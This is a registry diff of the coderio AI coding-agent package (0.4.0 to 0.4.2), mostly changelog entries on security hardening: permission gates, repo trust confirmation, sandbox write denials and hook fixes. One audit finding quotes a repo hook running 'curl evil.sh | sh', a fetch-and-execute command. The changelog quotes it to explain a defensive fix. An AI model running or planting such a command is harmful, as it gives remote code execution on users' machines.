coderio 0.4.0__tar.gz → 0.4.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (196) hide show
  1. {coderio-0.4.0 → coderio-0.4.2}/CHANGELOG.md +161 -0
  2. {coderio-0.4.0 → coderio-0.4.2}/PKG-INFO +49 -4
  3. {coderio-0.4.0 → coderio-0.4.2}/README.md +49 -4
  4. {coderio-0.4.0 → coderio-0.4.2}/README_en.md +48 -3
  5. {coderio-0.4.0 → coderio-0.4.2}/pyproject.toml +5 -1
  6. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/_deepagents_compat.py +39 -10
  7. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/deep_loop.py +93 -7
  8. coderio-0.4.2/src/coderio/agent/hooks.py +372 -0
  9. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/app.py +18 -3
  10. coderio-0.4.2/src/coderio/cli/run_cmd.py +263 -0
  11. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui.py +9 -7
  12. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/loader.py +60 -9
  13. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/models.py +11 -1
  14. coderio-0.4.2/src/coderio/config/trust.py +257 -0
  15. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/models.py +9 -3
  16. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/sandbox_runner.py +11 -0
  17. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deepagents_compat.py +80 -0
  18. coderio-0.4.2/tests/agent/test_hooks.py +467 -0
  19. coderio-0.4.2/tests/cli/test_run_cmd.py +263 -0
  20. coderio-0.4.2/tests/config/test_trust.py +237 -0
  21. {coderio-0.4.0 → coderio-0.4.2}/uv.lock +1 -1
  22. coderio-0.4.0/src/coderio/cli/run_cmd.py +0 -171
  23. coderio-0.4.0/src/coderio/config/trust.py +0 -136
  24. coderio-0.4.0/tests/cli/test_run_cmd.py +0 -152
  25. coderio-0.4.0/tests/config/test_trust.py +0 -93
  26. {coderio-0.4.0 → coderio-0.4.2}/.github/dependabot.yml +0 -0
  27. {coderio-0.4.0 → coderio-0.4.2}/.github/workflows/ci.yml +0 -0
  28. {coderio-0.4.0 → coderio-0.4.2}/.github/workflows/release.yml +0 -0
  29. {coderio-0.4.0 → coderio-0.4.2}/.gitignore +0 -0
  30. {coderio-0.4.0 → coderio-0.4.2}/CONTRIBUTING.md +0 -0
  31. {coderio-0.4.0 → coderio-0.4.2}/LICENSE +0 -0
  32. {coderio-0.4.0 → coderio-0.4.2}/THIRD_PARTY_LICENSES.md +0 -0
  33. {coderio-0.4.0 → coderio-0.4.2}/docs/coderio-architecture.md +0 -0
  34. {coderio-0.4.0 → coderio-0.4.2}/scripts/verify_deepagent_live.py +0 -0
  35. {coderio-0.4.0 → coderio-0.4.2}/scripts/verify_harness_live.py +0 -0
  36. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/__init__.py +0 -0
  37. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/__init__.py +0 -0
  38. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/command_review.py +0 -0
  39. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/harness.py +0 -0
  40. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/harness_middleware.py +0 -0
  41. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/permission_middleware.py +0 -0
  42. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/prompts.py +0 -0
  43. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/skill_tool.py +0 -0
  44. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/state.py +0 -0
  45. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/stream.py +0 -0
  46. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/__init__.py +0 -0
  47. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/commands.py +0 -0
  48. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/credentials.py +0 -0
  49. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/mcp_cmd.py +0 -0
  50. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/multimodal.py +0 -0
  51. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/onboarding.py +0 -0
  52. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/providers.py +0 -0
  53. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/render.py +0 -0
  54. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/repl.py +0 -0
  55. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/skills_cmd.py +0 -0
  56. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/stream.py +0 -0
  57. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui_onboarding.py +0 -0
  58. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui_screens.py +0 -0
  59. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui_widgets.py +0 -0
  60. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/__init__.py +0 -0
  61. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/bootstrap.py +0 -0
  62. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/llm/__init__.py +0 -0
  63. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/llm/factory.py +0 -0
  64. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/llm/probe.py +0 -0
  65. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/mcp_loader.py +0 -0
  66. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/session/__init__.py +0 -0
  67. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/session/message.py +0 -0
  68. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/session/store.py +0 -0
  69. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/__init__.py +0 -0
  70. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/bundled/executing-plans/SKILL.md +0 -0
  71. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/LICENSE +0 -0
  72. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/README.md +0 -0
  73. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/clarifying-questions/SKILL.md +0 -0
  74. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/clarifying-questions/evals/evals.json +0 -0
  75. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/code-review/SKILL.md +0 -0
  76. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/code-review/evals/evals.json +0 -0
  77. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/commit-message/SKILL.md +0 -0
  78. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/commit-message/evals/evals.json +0 -0
  79. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/debugging/SKILL.md +0 -0
  80. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/debugging/evals/evals.json +0 -0
  81. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/error-handling/SKILL.md +0 -0
  82. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/error-handling/evals/evals.json +0 -0
  83. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/lion-writing-skills/SKILL.md +0 -0
  84. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/lion-writing-skills/evals/evals.json +0 -0
  85. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/naming/SKILL.md +0 -0
  86. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/naming/evals/evals.json +0 -0
  87. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/SKILL.md +0 -0
  88. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/evals/evals.json +0 -0
  89. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/spec-writing/SKILL.md +0 -0
  90. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/spec-writing/evals/evals.json +0 -0
  91. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/task-breakdown/SKILL.md +0 -0
  92. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/task-breakdown/evals/evals.json +0 -0
  93. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/testing/SKILL.md +0 -0
  94. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/testing/evals/evals.json +0 -0
  95. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/verify-and-fix/SKILL.md +0 -0
  96. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/verify-and-fix/evals/evals.json +0 -0
  97. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/parser.py +0 -0
  98. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/store.py +0 -0
  99. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/__init__.py +0 -0
  100. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/base.py +0 -0
  101. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/bash.py +0 -0
  102. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/command_policy.py +0 -0
  103. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/edit_file.py +0 -0
  104. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/glob_tool.py +0 -0
  105. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/grep_tool.py +0 -0
  106. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/linux_sandbox.py +0 -0
  107. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/list_dir.py +0 -0
  108. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/multi_edit.py +0 -0
  109. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/note.py +0 -0
  110. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/permission.py +0 -0
  111. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/read_file.py +0 -0
  112. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/todo.py +0 -0
  113. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/web_fetch.py +0 -0
  114. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/web_search.py +0 -0
  115. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/win_job.py +0 -0
  116. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/win_sandbox.py +0 -0
  117. {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/write_file.py +0 -0
  118. {coderio-0.4.0 → coderio-0.4.2}/tests/__init__.py +0 -0
  119. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/__init__.py +0 -0
  120. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/conftest.py +0 -0
  121. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_command_review.py +0 -0
  122. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deep_integration.py +0 -0
  123. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deep_loop.py +0 -0
  124. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deep_loop_unit.py +0 -0
  125. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_harness.py +0 -0
  126. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_harness_middleware.py +0 -0
  127. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_perf_baseline.py +0 -0
  128. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_prompts.py +0 -0
  129. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_skill_tool.py +0 -0
  130. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_state.py +0 -0
  131. {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_stream.py +0 -0
  132. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/__init__.py +0 -0
  133. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_app.py +0 -0
  134. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_command_menu.py +0 -0
  135. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_commands.py +0 -0
  136. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_credentials.py +0 -0
  137. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_input_isolation.py +0 -0
  138. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_live_thinking.py +0 -0
  139. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_mcp_cmd.py +0 -0
  140. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_multimodal.py +0 -0
  141. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_onboarding.py +0 -0
  142. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_onboarding_logic.py +0 -0
  143. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_providers.py +0 -0
  144. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_render.py +0 -0
  145. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_repl_loop.py +0 -0
  146. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_repl_reset.py +0 -0
  147. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_skills_cmd.py +0 -0
  148. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_status_bar.py +0 -0
  149. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_stream.py +0 -0
  150. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_truncation.py +0 -0
  151. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_onboarding.py +0 -0
  152. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_picker.py +0 -0
  153. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_screens.py +0 -0
  154. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_startup.py +0 -0
  155. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_widgets.py +0 -0
  156. {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_ux_features.py +0 -0
  157. {coderio-0.4.0 → coderio-0.4.2}/tests/config/__init__.py +0 -0
  158. {coderio-0.4.0 → coderio-0.4.2}/tests/config/test_bootstrap.py +0 -0
  159. {coderio-0.4.0 → coderio-0.4.2}/tests/config/test_loader.py +0 -0
  160. {coderio-0.4.0 → coderio-0.4.2}/tests/config/test_models.py +0 -0
  161. {coderio-0.4.0 → coderio-0.4.2}/tests/conftest.py +0 -0
  162. {coderio-0.4.0 → coderio-0.4.2}/tests/e2e/__init__.py +0 -0
  163. {coderio-0.4.0 → coderio-0.4.2}/tests/llm/__init__.py +0 -0
  164. {coderio-0.4.0 → coderio-0.4.2}/tests/llm/test_factory.py +0 -0
  165. {coderio-0.4.0 → coderio-0.4.2}/tests/llm/test_probe.py +0 -0
  166. {coderio-0.4.0 → coderio-0.4.2}/tests/session/__init__.py +0 -0
  167. {coderio-0.4.0 → coderio-0.4.2}/tests/session/test_message.py +0 -0
  168. {coderio-0.4.0 → coderio-0.4.2}/tests/session/test_store.py +0 -0
  169. {coderio-0.4.0 → coderio-0.4.2}/tests/skills/__init__.py +0 -0
  170. {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_bundled.py +0 -0
  171. {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_parser.py +0 -0
  172. {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_skill_tools.py +0 -0
  173. {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_store.py +0 -0
  174. {coderio-0.4.0 → coderio-0.4.2}/tests/test_mcp_loader.py +0 -0
  175. {coderio-0.4.0 → coderio-0.4.2}/tests/test_p0_stability.py +0 -0
  176. {coderio-0.4.0 → coderio-0.4.2}/tests/test_repl.py +0 -0
  177. {coderio-0.4.0 → coderio-0.4.2}/tests/test_version.py +0 -0
  178. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/__init__.py +0 -0
  179. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_bash.py +0 -0
  180. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_command_policy.py +0 -0
  181. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_concrete_gates.py +0 -0
  182. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_edit_prefix.py +0 -0
  183. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_file_tools.py +0 -0
  184. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_glob_tool.py +0 -0
  185. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_grep_tool.py +0 -0
  186. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_list_dir.py +0 -0
  187. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_multi_edit.py +0 -0
  188. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_note.py +0 -0
  189. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_permission.py +0 -0
  190. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_registry.py +0 -0
  191. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_sandbox.py +0 -0
  192. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_search_tools.py +0 -0
  193. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_todo.py +0 -0
  194. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_web.py +0 -0
  195. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_web_fetch.py +0 -0
  196. {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_win_job.py +0 -0
@@ -6,6 +6,167 @@ All notable changes to coderio are documented here. The format follows
6
6
  `pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
7
7
  `importlib.metadata`.
8
8
 
9
+ ## [0.4.2] — 2026-08-18
10
+
11
+ ### Security — v3 audit short-term batch (#7/#8/#9/#11/#14, all runtime-verified)
12
+ - **#7 · headless default permission full → plan**: a headless entry that
13
+ silently allowed everything was a zero-confirmation door. `coderio run` now
14
+ defaults to read-only plan; full requires the explicit
15
+ `--dangerously-skip-permissions` flag (Claude Code's name for the same
16
+ escape hatch). confirm/auto_edit fail fast without a TTY (the gate is lazy,
17
+ so input() would otherwise EOFError mid-execution); invalid --permission
18
+ values are rejected up front.
19
+ - **#8 · project-layer skills join the trust gate**: a repo shipping ONLY
20
+ `.coderio/skills` previously loaded them with zero confirmation — yet skills
21
+ enter the system prompt and may carry tools.py that exec's on activation.
22
+ Skills now participate in discovery + content fingerprint (per-file hash;
23
+ any skill edit re-triggers the prompt), and the confirmation summary marks
24
+ skills carrying tools.py with "⚠ executes code". tools.py load failures are
25
+ logged, no longer silent.
26
+ - **#9 · trust store hardening**: the store gets owner-only permissions
27
+ (POSIX 0600 / Windows icacls, reusing the credentials helper); a corrupt
28
+ store is left untouched instead of being reset (the old reset destroyed
29
+ every other repo's trust entries); `SandboxFsConfig.deny_write` now
30
+ defaults to `["~/.coderio"]` so sandboxed commands can't rewrite the
31
+ config/credentials/trust store (explicit `deny_write = []` opts out;
32
+ Linux bwrap only — Windows sandbox is a no-op today).
33
+ - **#11 · research subagent execution-time enforcement**: PermissionMiddleware
34
+ + CommandReviewMiddleware now ride the research subagent (the tool
35
+ whitelist filters what the model SEES; these gate what actually RUNS).
36
+ Failover direction reversed: a whitelist that cannot be constructed — or
37
+ fails at runtime — degrades to a DENY-ALL middleware (zero tools), not to
38
+ the old no-middleware state that inherited every tool including
39
+ write/execute.
40
+ - **#14 · headless wall-clock timeout + exit codes**: `--timeout <seconds>`
41
+ (thread+join; SIGALRM doesn't exist on Windows) exits 124 on expiry;
42
+ agent execution failures exit 2 (distinct from config errors' 1); success
43
+ 0. Documented in README for CI use.
44
+
45
+ ### Fixed — hooks completion (2026-08-14 v3 audit P1/P2 items)
46
+ - **Timeout latency (v3 P1: timeout=2 hook took 12s)**: the post-kill pipe
47
+ drain waited 10s for an EOF that never comes on Windows (a pre-kill
48
+ grandchild holds the write end) — and the drained output was never consumed
49
+ anyway (hardcoded empty return). Now a 1s grace then abandon: a timeout=2
50
+ hook returns in ~3s. Windows grandchild leak documented as a known
51
+ limitation (the turn is no longer hostage; root fix = CREATE_SUSPENDED +
52
+ pre-assigned Job + stdin pipe through _create_process_with_token). Latency
53
+ regression test added (`elapsed < timeout + 2`), mutation-verified.
54
+ - **Per-event budget (v3 P1: N hooks × 60s on every tool call)**: fire() now
55
+ enforces a 30s total budget per event (overridable on HookRunner for
56
+ tests). Each hook's timeout tightens to min(spec.timeout, budget
57
+ remaining); exhaustion skips the remaining hooks with an error note
58
+ (fail-open, consistent with the module's positioning).
59
+ - **Subagents bypassed hooks (v3 #12)**: research and general-purpose
60
+ subagents both carry HooksMiddleware now (outermost, same order as the main
61
+ agent) — task() delegation can no longer sidestep PreToolUse/PostToolUse.
62
+ No middleware overhead when no hooks are configured.
63
+ - **Repo [[hooks]] silently dropped user hooks (v3 P2)**: _merge replaces
64
+ lists wholesale, so a repo's hooks config wiped the user's protective
65
+ hooks. Hooks now APPEND across layers — user hooks first (first-blocker-
66
+ wins: the user's deny reason is what the model sees). The first and only
67
+ list-merge in the loader; every other key keeps replace semantics.
68
+ - +7 tests (latency guard, budget skip/tighten, subagent middleware stacks ×3,
69
+ merge order). Mutation check: reintroducing the 10s drain turns the latency
70
+ test red (10.1s ≥ 4s bound) — the guard actually guards.
71
+
72
+ ### Fixed — 2026-08-18 self-audit (3 bugs + 3 warnings, all runtime-verified)
73
+ - **BUG A · `--permission full` had no flag gate (claim vs code mismatch)**:
74
+ the 0.4.1 commit message and CHANGELOG claimed "full requires
75
+ --dangerously-skip-permissions" — no such gate existed; `--permission full`
76
+ alone ran with full access (verified end-to-end by an audit agent that
77
+ unintentionally ran three real model turns through it). The gate is real
78
+ now: full without the flag exits 1. +2 tests (negative and positive sides).
79
+ Fourth seam-class failure in project history (v1: deepagents↔coderio; v3:
80
+ config↔runtime, trust↔mcp_loader; this: message↔code) — new rule in the
81
+ audit report: every behavior claim in a commit message must have a
82
+ corresponding verified command output before release.
83
+ - **BUG B · Windows NUL bypassed the confirm-mode TTY check**: `</dev/null`
84
+ (the classic CI idiom) makes `sys.stdin.isatty()` return True on Windows
85
+ (MSVCRT treats character devices as ttys) — the check passed, then
86
+ `input()` read NUL, EOFError'd, and crashed the agent mid-execution.
87
+ confirm/auto_edit are no longer valid headless values AT ALL (rejected
88
+ unconditionally); the interactive TUI is the only prompting surface.
89
+ - **BUG C · the deny_write default was dead config for most users**:
90
+ SandboxFsConfig's `deny_write=["~/.coderio"]` default only applied when the
91
+ `[tools.sandbox_filesystem]` table EXISTED — users without the table got
92
+ fs_config=None, and bwrap's built-in layout had no deny_write, so sandboxed
93
+ commands could write ~/.coderio (config/credentials/TRUST STORE). The
94
+ sandbox runner now constructs the default config when fs_config is None;
95
+ explicit user configs (including `deny_write = []`) pass through unchanged.
96
+ - **hooks budget skip-count was dead code**: `self.specs[len(self.specs):]`
97
+ is always the empty slice, so the "N hook(s) skipped" message always
98
+ printed "remaining" — the count never appeared (and no test asserted it).
99
+ Fixed with enumerate-indexed slicing (verified: 4 hooks skipped →
100
+ "4 hook(s) skipped").
101
+ - **trust store `null` slipped the corruption guard**: JSON `null` parsed to
102
+ None and bypassed the `is not None` shape check, getting overwritten. All
103
+ non-dict JSON (including null) now leaves the store untouched.
104
+ - **nested typer.Exit produced a misleading second error line**: typer.Exit
105
+ is a RuntimeError subclass, so the session-load failure's clean exit was
106
+ re-caught by "Runtime setup failed" and printed twice. Nested exits now
107
+ pass through with their original code and message.
108
+
109
+ ## [0.4.1] — 2026-08-17
110
+
111
+ ### Added
112
+ - **Hooks system (v1)**: user-configurable lifecycle hooks via `[[hooks]]`
113
+ array tables in config.toml. Five events — SessionStart (once per session,
114
+ resume included), UserPromptSubmit (reject or inject context), PreToolUse
115
+ (deny), PostToolUse (append feedback), Stop (notification-only). IO contract
116
+ follows the Claude Code / ZCode / Codex interop core: event JSON on stdin,
117
+ exit 0 = pass (stdout injects context for prompt/session events, 10k cap),
118
+ exit 2 = block with stderr as the reason, anything else = fail-open.
119
+ `$CODERIO_PROJECT_DIR` env var; Git Bash preferred on Windows; default
120
+ timeout 60s (timeout/crash fail-open — hooks are extensibility glue, not a
121
+ security boundary; hard policy stays with permissions + blacklist).
122
+ PreToolUse/PostToolUse ride a new HooksMiddleware inserted OUTERMOST (before
123
+ Harness/Permission/CommandReview) so a hook can deny before the permission
124
+ prompt appears and observes exactly the args the chain sees. Hooks in
125
+ repo-level config.toml automatically ride the existing repo-config trust
126
+ gate — no separate trust flow. Serial execution (first blocker's reason
127
+ wins; all hooks still run for their side effects). New module
128
+ `agent/hooks.py`. v1 non-goals documented: SessionEnd (no injection point),
129
+ Notification/SubagentStop/PreCompact, updatedInput rewriting, hook-allow
130
+ bypassing permission prompts, parallel execution. POSIX hook subprocesses
131
+ get their own process group (a hook timeout would otherwise SIGKILL the
132
+ agent itself — caught by the CI OS matrix, invisible on Windows).
133
+ (Shipped after the v0.4.0 tag; +20 tests incl. real-subprocess semantics,
134
+ a `coderio run` end-to-end, and post-v3 seam tests.)
135
+
136
+ ### Fixed — 2026-08-14 v3 audit (2 P0 + 4 P1, all verified with the report's repro scripts)
137
+ - **P0 · hooks: tool-event hooks from a real config.toml always crashed.** Two
138
+ classes named HookSpec existed — config/models.py's (a plain dataclass,
139
+ no .matches()) and agent/hooks.py's (the runtime class). The loader produced
140
+ the former; HookRunner.fire called .matches() on it → AttributeError on every
141
+ PreToolUse/PostToolUse hook, the exact scenario the README leads with. All 20
142
+ in-module tests stayed green because they imported the runtime class
143
+ directly — the config↔runtime seam had zero coverage. Fix: models.HookSpec
144
+ deleted; _parse_hooks produces agent.hooks.HookSpec (single source of truth);
145
+ +2 SEAM tests (load_config → HookRunner.fire → assert blocked) that fail with
146
+ the same AttributeError if a duplicate class ever reappears.
147
+ - **P0 · trust gate bypassed when launching from a subdirectory.** The gate
148
+ checked one directory (anchored on .coderio/config.toml) while mcp_loader
149
+ walks UP for .mcp.json independently — a repo whose root had ONLY .mcp.json
150
+ + launching from any subdirectory skipped the gate entirely while the server
151
+ still loaded. Fix: trust discovery now mirrors the loaders (per-file upward
152
+ walk, same stop conditions); the principle "trust scope ⊇ load scope" is
153
+ enforced. Trust confirmed once at any depth covers the whole repo (store
154
+ keys by discovered root). +2 tests incl. the report's exact bypass scenario.
155
+ - **P1 · trust summary blind-signed hooks**: the confirmation prompt showed
156
+ only ".coderio/config.toml (76 bytes)" while a hook ran "curl evil.sh | sh"
157
+ — hooks are the repo's most direct RCE surface and were invisible. The
158
+ summary now echoes every line mentioning command/hooks/args/env, and MCP
159
+ entries show args + env key names (values not leaked). +2 tests.
160
+ - **P1 · hook errors were silently swallowed**: HookOutcome.error had zero
161
+ consumers — a broken hook (exit 127) was invisible. fire() now logs a
162
+ warning whenever error is non-empty.
163
+ - **P1 · a hook-layer exception could break the turn**: HookRunner.fire wraps
164
+ the whole dispatch loop in try/except (fail-open, consistent with the
165
+ module's stated positioning) — covers both middleware and turn-level paths.
166
+ - **P2 · headless run could lose the final answer**: non-quiet mode relied
167
+ solely on the token stream; a non-streamed final message vanished. The
168
+ final result is now always printed (after a separator in non-quiet mode).
169
+
9
170
  ## [0.4.0] — 2026-08-17
10
171
 
11
172
  ### Added
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: coderio
3
- Version: 0.4.0
3
+ Version: 0.4.2
4
4
  Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
5
5
  Author: coderio contributors
6
6
  License-Expression: MIT
@@ -81,7 +81,7 @@ Core philosophy: **skills are the playbook, the harness is the discipline, tools
81
81
  - **SSRF-protected web_fetch**: scheme allowlist (http/https only), private/loopback/link-local IP blocking (incl. cloud metadata endpoints), per-hop redirect validation, and a 1 MB response cap.
82
82
  - **Multi-layer OS sandbox** (Linux real isolation): `sandbox_mode = "job" | "write"` — Job Object resource limits on Windows; bubblewrap namespace isolation on Linux (read-only root, read-write workspace, optional network cutoff, Claude-Code-compatible filesystem 4-tuple `allow_write`/`deny_write`/`deny_read`/`allow_read`).
83
83
  - **MCP support**: connect external MCP servers via `.mcp.json` (Claude Code-compatible format); stdio and HTTP transports; project-level config overrides user-level. `coderio mcp` CLI manages entries; MCP tools are gated by the permission system like built-in tools.
84
- - **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml` or `.mcp.json` is seen, coderio shows what it contains (permission mode, base_url, MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
84
